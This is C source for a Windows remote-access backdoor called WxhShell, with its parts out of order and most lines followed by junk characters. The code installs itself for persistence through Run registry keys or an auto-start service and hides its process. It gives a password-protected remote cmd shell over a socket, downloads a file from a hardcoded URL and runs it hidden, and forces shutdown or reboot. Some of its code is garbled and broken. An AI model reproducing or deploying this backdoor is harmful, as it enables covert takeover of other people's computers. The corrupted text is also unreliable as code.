    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P:hBt\5B  
    if(Boot(SHUTDOWN)) h! M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bm:98? [  
    else { O n8v//=&  
    closesocket(wsh); L\37xJo  
    ExitThread(0); jkQ*D(;p  
    } W 6^5YH%  
    break; <3oWEm  
    } ! :Y:pu0  
  // 获取shell -5)H<dAQZ  
  case 's': { <h!_>:2L  
    CmdShell(wsh); ]dF ,:8  
    closesocket(wsh); |sa]F5  
    ExitThread(0); SDC4L <!  
    break; #?RU;1)Cw  
  } ~b(i&DVK  
  // 退出 T5|q RlW  
  case 'x': { b k~( ^!R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %9 SJ E  
    CloseIt(wsh); \0A3]l  
    break; #./fY;:cj  
    } c|f<u{'  
  // 离开 ;Y)w@bNt@  
  case 'q': { *HU &4E\a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); f<-Jg  
    closesocket(wsh); O6@j &*jS  
    WSACleanup(); 6 [k\@&V-  
    exit(1); c& < Fr[AK  
    break; &g#@3e1>  
        } {0r0\D>bw  
  } ,t3wp#E2#  
  } SP@ >vl+;  
3Nl <p"=  
  // 提示信息 -<6\1J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #+JG(^%B  
}  ;i4Q|  
  } \TIT:1  
"<6G6?sz  
  return; K~uXO  
} Id*Ce2B  
vjLJi nJ/  
// shell模块句柄 >u>5{4  
int CmdShell(SOCKET sock) >1s* at/h  
{ }q`ts=dlGt  
STARTUPINFO si; 90Pl$#cb2  
ZeroMemory(&si,sizeof(si)); !1rlN8w(qr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j~"Q3P;V  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y)1PB+  
PROCESS_INFORMATION ProcessInfo; B`YTl~4  
char cmdline[]="cmd"; LuNc, n%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D!@Ciw  
  return 0; ()2I#  
} w2 ;eh]k  
RW|`nL  
// 自身启动模式 i 7_ _  
int StartFromService(void) dls ss\c^M  
{ JQ,1D`?.a  
typedef struct QrfG^GID  
{ dQ_!)f&w1  
  DWORD ExitStatus; 2W/?q!t  
  DWORD PebBaseAddress; ])L A42|  
  DWORD AffinityMask; KMU4n-s"o  
  DWORD BasePriority; ? i( %  
  ULONG UniqueProcessId; O J/,pLYu  
  ULONG InheritedFromUniqueProcessId; "i U}]e0  
}   PROCESS_BASIC_INFORMATION; w S4.8iJ  
9:,V5n=  
PROCNTQSIP NtQueryInformationProcess; }RmU%IYc  
c%&: 6QniZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >+]_5qc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !X"K=zt"  
v1%uxthW  
  HANDLE             hProcess; Y;)dct  
  PROCESS_BASIC_INFORMATION pbi; HU9Sl*/  
F*.g;So  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |=EZ1<KzD  
  if(NULL == hInst ) return 0; zLF?P3^  
:Dd$i_3=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !wWJ^Oz=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5bA)j!#)|X  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J!5v~<v?-  
e#B#B  
  if (!NtQueryInformationProcess) return 0; nwN@DqO  
JICawj:I  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); VL[kJi   
  if(!hProcess) return 0; 3 E3qd'  
j+^oz'q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7Su#Je]  
A"aV'~>  
  CloseHandle(hProcess); 4pln5v=  
I"1;|`L~:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^{\<N()R  
if(hProcess==NULL) return 0; (4@lKKiU%H  
{>"NyY  
HMODULE hMod; !bC+TYsU  
char procName[255]; 3&x-}y~sg  
unsigned long cbNeeded; -!)xQvagD.  
Y $u9%0q|?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Pub0IIs  
(n1Bh~R^  
  CloseHandle(hProcess); up2+ s#  
0A:n0[V:]  
if(strstr(procName,"services")) return 1; // 以服务启动 e;GU T:  
Lw'9  
  return 0; // 注册表启动 ?DH"V7bs  
} w0ZLcND{  
5`]UE7gT  
// 主模块 {T'GQz+R"  
int StartWxhshell(LPSTR lpCmdLine) O'GG Ti]e  
{ 3@n>*7/E  
  SOCKET wsl; __@zTSVb  
BOOL val=TRUE; s!+"yK  
  int port=0; L'i-fM[#  
  struct sockaddr_in door; gq"k<C0  
Ro=AADv@  
  if(wscfg.ws_autoins) Install(); WhBpv(q}.  
FA90`VOWYU  
port=atoi(lpCmdLine); ]l~V&#i_c  
dV?5Q_}  
if(port<=0) port=wscfg.ws_port; 8wH.et25k  
L5IbExjV  
  WSADATA data; ^O^:$nXhYy  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q/I)V2a1i  
]v G{kAnH  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +KEkmXZ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~Cc.cce5  
  door.sin_family = AF_INET; r,(e t  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); mgZf3?,)  
  door.sin_port = htons(port); MYe HS   
ZiFooA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Lh$dzHq  
closesocket(wsl); M!M!Ni  
return 1; B6}FIg)  
} >yJ-4lgZ  
Ap\AP{S4  
  if(listen(wsl,2) == INVALID_SOCKET) { HjWq[[Nz  
closesocket(wsl); "()sb?&  
return 1; T:asm1BC[  
} }iBC@`mg(  
  Wxhshell(wsl); H/~?@CE(YC  
  WSACleanup(); 9=dkx^q  
!wLg67X$ -  
return 0; o=fgin/E\  
> ^[z3T  
} IF k  
!$XHQLqF2  
// 以NT服务方式启动 9vGs;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K7vw3UwGN  
{ cm>E[SHr  
DWORD   status = 0; nw'-`*'rj  
  DWORD   specificError = 0xfffffff; u>T76,8|\  
e5v`;(^M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \X}8 q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ySN V^+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; eTE2J~\  
  serviceStatus.dwWin32ExitCode     = 0; V`a+Hi<P\  
  serviceStatus.dwServiceSpecificExitCode = 0; X.|Ygx  
  serviceStatus.dwCheckPoint       = 0; (hZ:X)E>  
  serviceStatus.dwWaitHint       = 0; Nofu7xiDw[  
1-;?0en&0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E%k7wM {  
  if (hServiceStatusHandle==0) return; q7]>i!A  
7$T8&Mh  
status = GetLastError(); )q?$p9  
  if (status!=NO_ERROR) ~\_T5/I%  
{ I ,FqN}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9fVj 8G  
    serviceStatus.dwCheckPoint       = 0; 9k2,3It  
    serviceStatus.dwWaitHint       = 0; , r+"7$  
    serviceStatus.dwWin32ExitCode     = status; jqoPLbxT  
    serviceStatus.dwServiceSpecificExitCode = specificError; {K.rl%_|N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;( K MGir  
    return; 2*[Un(  
  } |+EKF.K  
B\<ydN  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ua& @GXvZ  
  serviceStatus.dwCheckPoint       = 0; 1Kc^m\  
  serviceStatus.dwWaitHint       = 0; QPg2Y<2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^e9aD9  
} W8/(;K`/  
m6so]xr  
// 处理NT服务事件,比如:启动、停止 h(:<(o@<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) i:Mc(mW  
{ U)~#g'6:8  
switch(fdwControl) 8W{~wg`  
{ fA XE~  
case SERVICE_CONTROL_STOP: m "]!I~jd  
  serviceStatus.dwWin32ExitCode = 0; NWISS  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 46ChMTt  
  serviceStatus.dwCheckPoint   = 0; i[=C_+2  
  serviceStatus.dwWaitHint     = 0; 9v?V  
  { (v;A'BjN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =HPu {K$  
  } V4?Oc2mS  
  return; Ao*FcrXN  
case SERVICE_CONTROL_PAUSE: @.o@-3k  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; x^2 W?<  
  break; q%.bnF/Yd  
case SERVICE_CONTROL_CONTINUE: E4m:1=Nd~]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (w2(qT&O  
  break; TolrEcI  
case SERVICE_CONTROL_INTERROGATE: QZ0R:TY  
  break; *.dKR  
}; lVT&+r~r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^je528%H  
} [Pqn 3I[  
\)GR\~z0h  
// 标准应用程序主函数 =BW9/fG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <[5#c*A  
{  3se$,QmN  
LH.%\TMN$  
// 获取操作系统版本 D?J#u;h~f  
OsIsNt=GetOsVer(); k) 3s?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); KE#$+,?  
500> CBL0O  
  // 从命令行安装 #}j]XWy  
  if(strpbrk(lpCmdLine,"iI")) Install(); _M&{^d  
x {vIT- f  
  // 下载执行文件 2moIgJ   
if(wscfg.ws_downexe) { VB's  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }2mI*"%)\u  
  WinExec(wscfg.ws_filenam,SW_HIDE); -Fa98nV.WB  
} +|M{I= 8  
=lm nzu<  
if(!OsIsNt) { T#Fn:6_=  
// 如果时win9x,隐藏进程并且设置为注册表启动 <YSg~T  
HideProc(); b+_hI)T  
StartWxhshell(lpCmdLine); `L;OY 4  
} pbFYiu+  
else h\2}875  
  if(StartFromService()) #9INX`s-  
  // 以服务方式启动 ` )]lUvR  
  StartServiceCtrlDispatcher(DispatchTable); !&\meS{  
else 4xpj<  
  // 普通方式启动 +{'lZa  
  StartWxhshell(lpCmdLine); #[Z<=i~C  
s v6INe:  
return 0; ;i/"$K  
} ([1=>Jw"  
 Hl!1h%  
s5nB(L*Pjp  
e7h\(`J0lj  
=========================================== nQ!N}5[z'  
0}6QO  
F@Pem  
:82?'aR  
$m{{,&}k  
>Sh0dFqeT  
" G]at{(^Vz  
%;'~%\|dZM  
#include <stdio.h> _ \_3s  
#include <string.h> L,O>6~9:^1  
#include <windows.h> j1W bD7*8  
#include <winsock2.h> *m iONc  
#include <winsvc.h> 0 PR4g}"  
#include <urlmon.h> PkjT&e)  
b8eDD+ulk  
#pragma comment (lib, "Ws2_32.lib") }R4(B2vup  
#pragma comment (lib, "urlmon.lib") t>XZ 3  
/DK*y S  
#define MAX_USER   100 // 最大客户端连接数 Tw?Pp8'  
#define BUF_SOCK   200 // sock buffer "vv$%^  
#define KEY_BUFF   255 // 输入 buffer 5dbX%e_OP  
f S(^["*G  
#define REBOOT     0   // 重启 /,=Wy"0TJ  
#define SHUTDOWN   1   // 关机 U+:S7z@j?  
8''9@xz  
#define DEF_PORT   5000 // 监听端口 ?aP1  
0 =3FO}[u  
#define REG_LEN     16   // 注册表键长度 rOs)B21/  
#define SVC_LEN     80   // NT服务名长度 FRb&@(;  
-HO6K) ur  
// 从dll定义API ,| $|kO/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b>G qNf!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &f (sfM_n  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qpluk!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Tb>IHoil  
de3yP,  
// wxhshell配置信息 8#[%?}tK  
struct WSCFG { K * xM[vO  
  int ws_port;         // 监听端口 |6\FI?  
  char ws_passstr[REG_LEN]; // 口令 pZni,< Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no }Bv30V2-(  
  char ws_regname[REG_LEN]; // 注册表键名 ,Y78Q  
  char ws_svcname[REG_LEN]; // 服务名 ]w1BJZa36  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >[A6 5q'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `?Y_0Nh>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?yK%]1O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hlABu)B'1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 75QXkJu  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4]|9!=\  
')Dp%"\?  
}; !W+p<F1i  
i-K"9z| )  
// default Wxhshell configuration -(%ar%~Zd  
struct WSCFG wscfg={DEF_PORT, vTe$77n  
    "xuhuanlingzhe", RE(=! 8lGR  
    1, %_%f# S  
    "Wxhshell", ZC9.R$}Kl  
    "Wxhshell", l,^i5t'  
            "WxhShell Service", A*-]J=:E {  
    "Wrsky Windows CmdShell Service", UIm[DYMS  
    "Please Input Your Password: ", gKm@B{rC  
  1, #w%a m`+  
  "http://www.wrsky.com/wxhshell.exe", zx_O"0{5  
  "Wxhshell.exe" _k"&EW{ Ii  
    }; R9|2&pfm(M  
Mo?t[]L   
// 消息定义模块 E9Qd>o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,&zjOc_v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _taHf %\4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5* o\z&*L  
char *msg_ws_ext="\n\rExit."; ]Lb?#S  
char *msg_ws_end="\n\rQuit."; uZ=UBir  
char *msg_ws_boot="\n\rReboot..."; %FR^[H]  
char *msg_ws_poff="\n\rShutdown..."; c],frhmyd  
char *msg_ws_down="\n\rSave to "; ="'P=Xh!8  
avbr7X(  
char *msg_ws_err="\n\rErr!"; I ]WeZ,E  
char *msg_ws_ok="\n\rOK!"; 9wYtOQ{g  
35N/v G0  
char ExeFile[MAX_PATH]; &[2Ej|o  
int nUser = 0; foP>w4pB  
HANDLE handles[MAX_USER]; n.)[MC}  
int OsIsNt; j~,LoGuPh  
4 HJZ^bq9|  
SERVICE_STATUS       serviceStatus; +~i+k~{`H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _ \y0 mc4  
8.;';[  
// 函数声明 5w [=  
int Install(void); s2kZZP8-  
int Uninstall(void); U<,Kw6K  
int DownloadFile(char *sURL, SOCKET wsh); zcD_}t_K  
int Boot(int flag); rJc)< OZjT  
void HideProc(void); R{OE{8;  
int GetOsVer(void); V^$rH<  
int Wxhshell(SOCKET wsl); ^]lwd"$  
void TalkWithClient(void *cs); ^ yukn*L  
int CmdShell(SOCKET sock); w#G=Z_Tt  
int StartFromService(void); cLyuCaH>c  
int StartWxhshell(LPSTR lpCmdLine); T m@1q!G  
E][{RTs  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |C)UZ4A/p  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b-(UsY:  
c%LB|(@j{  
// 数据结构和表定义 :rs\ydDUF  
SERVICE_TABLE_ENTRY DispatchTable[] = J"2ODB5"  
{ D "] [&m  
{wscfg.ws_svcname, NTServiceMain}, sc $QbOc  
{NULL, NULL}  ZV q  
}; 3P^gP32  
=u3@ Dhw  
// 自我安装 IL6f~!  
int Install(void) ?'/5%f`  
{ ATmqq)\s  
  char svExeFile[MAX_PATH]; ;Y|~!%2~  
  HKEY key; $@qs(Xwr  
  strcpy(svExeFile,ExeFile); \Af|$9boHz  
CpqSn/  
// 如果是win9x系统,修改注册表设为自启动 .iN*V|n  
if(!OsIsNt) { LI|HET_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Oc/_ T>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :k )<1ua  
  RegCloseKey(key); 'iISbOM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B?ob{K@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));   6[|<  
  RegCloseKey(key); aq,)6P`  
  return 0; ^RyTK|SQ  
    } X>GY*XU  
  } ]|La MMD  
} )>M@hIV5>  
else { 2au(8IWu  
BvW gH.OX  
// 如果是NT以上系统,安装为系统服务 pdha" EV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); U9fF;[g  
if (schSCManager!=0) *;yMD-=  
{ a={qA4N  
  SC_HANDLE schService = CreateService PM<LR?PLc  
  ( -zLI!F 0  
  schSCManager, V\`= "  
  wscfg.ws_svcname, $F()`L{Tj  
  wscfg.ws_svcdisp, y'O{8Q8T  
  SERVICE_ALL_ACCESS, |21hY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , d~Ry>   
  SERVICE_AUTO_START, .d!*<`S|  
  SERVICE_ERROR_NORMAL, TIh zMW\/K  
  svExeFile, J$/BH\  
  NULL, N_k6UA9  
  NULL, Ml/p{ *p  
  NULL, k Q(y^tW  
  NULL, yj+b/9My   
  NULL }<h. chz,  
  ); 6Oba}`)q9  
  if (schService!=0) "jc)N46  
  { PQ"%Z.F"  
  CloseServiceHandle(schService); OLup`~  
  CloseServiceHandle(schSCManager); ~%:p_td  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); swq!S p  
  strcat(svExeFile,wscfg.ws_svcname); ]]o[fqD-Zn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V"jnrNs3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6MNA.{Jdd  
  RegCloseKey(key); I8]NY !'cW  
  return 0; ykhCt\t[  
    } -?1J+}?  
  } iQ"F`C  
  CloseServiceHandle(schSCManager); 32P]0&_O  
} * .VZ(wX  
} emPm^M5/K  
r+p jv_R  
return 1; J\D3fh97-  
} (+ anTA=  
|6^ K  
// 自我卸载 '\\Cpc_g  
int Uninstall(void) 'k Z1&_{  
{ =T}uQ$X  
  HKEY key; t3g! 5  
Z x%@wH~  
if(!OsIsNt) { l8Qi^<i/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {=7i}xY]T  
  RegDeleteValue(key,wscfg.ws_regname); Vdk+1AX  
  RegCloseKey(key); 1tz .e\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Vp{2Z9]}  
  RegDeleteValue(key,wscfg.ws_regname); }_;!E@  
  RegCloseKey(key); S9oGf  
  return 0; z5vI0 N$  
  } K({,]<l5  
} C~V$G}mM  
} (k&aD2PH  
else { Asu"#sd  
Ib2pV2`h(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  )6+W6:  
if (schSCManager!=0) 3y,?>-  
{ UdJV;T'rm  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E/']M~Q  
  if (schService!=0) V7_??L%Ct`  
  { cpnwx1q@  
  if(DeleteService(schService)!=0) { :%MWbnVSC,  
  CloseServiceHandle(schService); nB0 ol-<  
  CloseServiceHandle(schSCManager); {2@96o2}  
  return 0; BG=_i#V  
  } .p>8oOp  
  CloseServiceHandle(schService); JvaaBXkS\  
  } 5-^twXC&  
  CloseServiceHandle(schSCManager); u`|fmVI  
} hGV/P94  
} HCK4h DKo}  
`Cxe`w4  
return 1; _AYF'o-Cm  
} '7s!N F2  
fif<[Ax  
// 从指定url下载文件 --kK<9J7  
int DownloadFile(char *sURL, SOCKET wsh) 6~>k]G  
{ 4PQWdPv;  
  HRESULT hr; }DaYO\:yK*  
char seps[]= "/"; dZmq  
char *token; `l"~"x^Rr  
char *file; {+Yo&F}n  
char myURL[MAX_PATH]; ? Q}{&J  
char myFILE[MAX_PATH]; qE{S'XyM,  
(.o'1 '  
strcpy(myURL,sURL); <H6Uo#ao  
  token=strtok(myURL,seps); ^h=kJR9  
  while(token!=NULL) I]X<L2  
  { bAp`lmFI  
    file=token; <lR8MqjM_  
  token=strtok(NULL,seps); ty>O}9%  
  } )A%Y wI$  
qv\yQ&pj  
GetCurrentDirectory(MAX_PATH,myFILE); t ,$)PV  
strcat(myFILE, "\\"); '! (`?  
strcat(myFILE, file); pG&.Ye]j  
  send(wsh,myFILE,strlen(myFILE),0); 1 <+^$QL  
send(wsh,"...",3,0); 4<|u~n*JF  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )f Rh^6  
  if(hr==S_OK) 8CCA/6  
return 0; *L=CJg  
else NQmDm!-4  
return 1; Y%3j >_\;  
Go4l#6  
} m`Z4#_s2  
xQQ6D  
// 系统电源模块 lI9 3{!+>  
int Boot(int flag) 8QU`SoS9  
{ T~la,>p|}  
  HANDLE hToken; rAWBuEU;!  
  TOKEN_PRIVILEGES tkp; d=[ .   
9E5B.qlw$l  
  if(OsIsNt) { ~c4Y*]J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %Xn)$Ti ~<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \2YhI0skW  
    tkp.PrivilegeCount = 1; @:}z\qBM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; a`}-^;}SW  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,Fb#%r%  
if(flag==REBOOT) { Mvux=Ws  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]BA8[2=m  
  return 0; F)C8LH  
} >Q YxX<W  
else { 6`'^$wKs  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K|iNEhuc  
  return 0; PqfH}d0l  
} LTxOq|/Cq  
  } c8(.bmvF  
  else { grZN.zTO  
if(flag==REBOOT) { }G]]0Oi2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) D`u{U]  
  return 0; Q9( eH2=  
} k vb"n}  
else { #N*~Q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T+I|2HYqOj  
  return 0; cng 1k  
} ~U`aH~R  
} -50|r;a  
uJi|@{V  
return 1; 44!bwXz8  
} 5'X.Z:  
cEe>Lyt  
// win9x进程隐藏模块 =T[kGg8`  
void HideProc(void) zzM 'uo  
{ 8kk$:8  
ALhu\x>AY  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7uYJ _R  
  if ( hKernel != NULL ) ZZ.GpB.  
  { }_K7}] 1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); zT.qNtU%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =V(I  
    FreeLibrary(hKernel); \ZXH(N*>2t  
  } Y}PI{PN  
YI|7a#*F  
return; *f1MgP*GKF  
} L.>`;`dmY  
Wfp[)MM;  
// 获取操作系统版本  a(F%M  
int GetOsVer(void) $cnIsyKWY  
{ DvU(rr\p  
  OSVERSIONINFO winfo; ~h -0rE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /.P*%'g  
  GetVersionEx(&winfo); q45Hmz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M*|x,K=U  
  return 1; G >bQlZG  
  else ;8H m#p7,  
  return 0; fs\l*nBig  
} [*@"[u   
]JbGP{UiN  
// 客户端句柄模块 >IsRd  
int Wxhshell(SOCKET wsl) "d9"Md0k  
{ Jc/*w  
  SOCKET wsh; PE0A`  
  struct sockaddr_in client; Ng2qu!F7  
  DWORD myID; 3 cu`U`  
,..&j+m  
  while(nUser<MAX_USER) jUYb8:B  
{ ;mu^WIj  
  int nSize=sizeof(client); `$7. (.#s  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oIN!3  
  if(wsh==INVALID_SOCKET) return 1; vdV@G`)HPr  
%N04k8z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o[X 'We;  
if(handles[nUser]==0) HTA Jn_  
  closesocket(wsh); x=(Q$Hl5  
else `{#0C-  
  nUser++; )l~:P uvh  
  } _SY4Q s`d  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -A^18r  
q#$Al  
  return 0; 07`hQn)Gc  
} x\T 9V~8a  
EBc_RpC/Z  
// 关闭 socket ~bC{ R&p  
void CloseIt(SOCKET wsh) 9ldv*9v  
{ ux:czZqy  
closesocket(wsh); L )p*D(  
nUser--; WBvh<wTw;  
ExitThread(0); >)\x\e  
} p~Di\AQ/  
AwN7/M~'  
// 客户端请求句柄 *:L-/Q)i  
void TalkWithClient(void *cs) r)E9]"TAB  
{ q$x$ 4  
bis}zv^%v  
  SOCKET wsh=(SOCKET)cs; Myaj81  
  char pwd[SVC_LEN]; &3~lZa;D  
  char cmd[KEY_BUFF]; ;;;aM:6\  
char chr[1]; Jas=D  
int i,j; HtY0=r  
Ad$CHx-  
  while (nUser < MAX_USER) { Vz_ac vfk^  
B /q/6Pp  
if(wscfg.ws_passstr) { PxE0b0eo  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ])Rs.Y{Q5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =Y!x  
  //ZeroMemory(pwd,KEY_BUFF); z B/#[~  
      i=0; =)QtE|p,77  
  while(i<SVC_LEN) { ,6T F]6:  
NEp )V'  
  // 设置超时 G4O $gg  
  fd_set FdRead; YNHQbsZUI,  
  struct timeval TimeOut; V}=%/OY?  
  FD_ZERO(&FdRead); GY% ^!r  
  FD_SET(wsh,&FdRead); ^jY/w>UdH  
  TimeOut.tv_sec=8; kHMD5Q  
  TimeOut.tv_usec=0; Em6P6D>S>,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); p>x[:*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xAlyik  
Z/ w}so  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \<n 9kwU  
  pwd=chr[0]; tFj[>_d7  
  if(chr[0]==0xd || chr[0]==0xa) { }enS'Fpf`  
  pwd=0; 1=o|[7  
  break; @9$u!ny0  
  } Ei$?]~ &  
  i++; R k'5L  
    } TTGk"2 Q'  
v$n J$M&k  
  // 如果是非法用户,关闭 socket Gz09#nFZk  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7tZvz `\  
} Ku 'OM6D<  
J)kH$!csi  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,?k0~fuG6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6 (M^`&fl  
:6h$1 +6  
while(1) { p*LG Y+  
<t~RGn3  
  ZeroMemory(cmd,KEY_BUFF); <q}w,XU  
85{2TXQ^%=  
      // 自动支持客户端 telnet标准   H0dHW;U<1  
  j=0; |$>ZGs#  
  while(j<KEY_BUFF) { 76'@}wNnw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9sQ #v-+Yx  
  cmd[j]=chr[0]; YZ0y_it)  
  if(chr[0]==0xa || chr[0]==0xd) { 'ptD`)^(  
  cmd[j]=0; 0aWy!d  
  break; 5u:{lcC.X  
  } 'nx";[6(  
  j++; K-<kp!v  
    } {.HFB:<!}  
NP+*L|-;  
  // 下载文件 Q$`u=-h|  
  if(strstr(cmd,"http://")) { \c1NIuJR  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); xPcH]Gs^b  
  if(DownloadFile(cmd,wsh)) L!>EW0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~ZxFL$<'3  
  else M~!DQ1u  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2a,l;o$2&  
